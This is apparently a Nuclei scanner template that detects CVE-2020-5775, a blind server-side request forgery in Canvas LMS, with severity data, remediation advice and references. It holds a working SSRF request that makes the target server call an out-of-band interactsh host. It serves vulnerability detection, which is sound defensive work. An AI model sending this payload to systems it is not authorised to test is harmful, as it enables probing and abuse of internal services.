id: CVE-2020-5775 info: name: Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery author: alph4byt3 severity: medium description: Canvas version 2020-07-29 is susceptible to blind server-side request forgery. An attacker can cause Canvas to perform HTTP GET requests to arbitrary domains and thus potentially access sensitive information, modify data, and/or execute unauthorized operations. remediation: | Apply the latest security patches provided by Canvas LMS to mitigate the vulnerability. reference: - https://www.tenable.com/security/research/tra-2020-49 - https://nvd.nist.gov/vuln/detail/CVE-2020-5775 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N cvss-score: 5.8 cve-id: CVE-2020-5775 cwe-id: CWE-918 epss-score: 0.00194 epss-percentile: 0.57038 cpe: cpe:2.3:a:instructure:canvas_learning_management_service:2020-07-29:*:*:*:*:*:*:* metadata: max-request: 1 vendor: instructure product: canvas_learning_management_service tags: cve,cve2020,ssrf,oast,blind,tenable,instructure http: - method: GET path: - "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo" matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" # digest: 4b0a0048304602210091d826c0b56c33de240d3afc7ae1cd52c0eff6d1dbdb89a69d20e5a717a62aee022100e6e8978bfdf902d34629f2e73be5b64ef81c6ddee799af63683520d41bcb0623:922c64590222798bb761d5b6d8e72950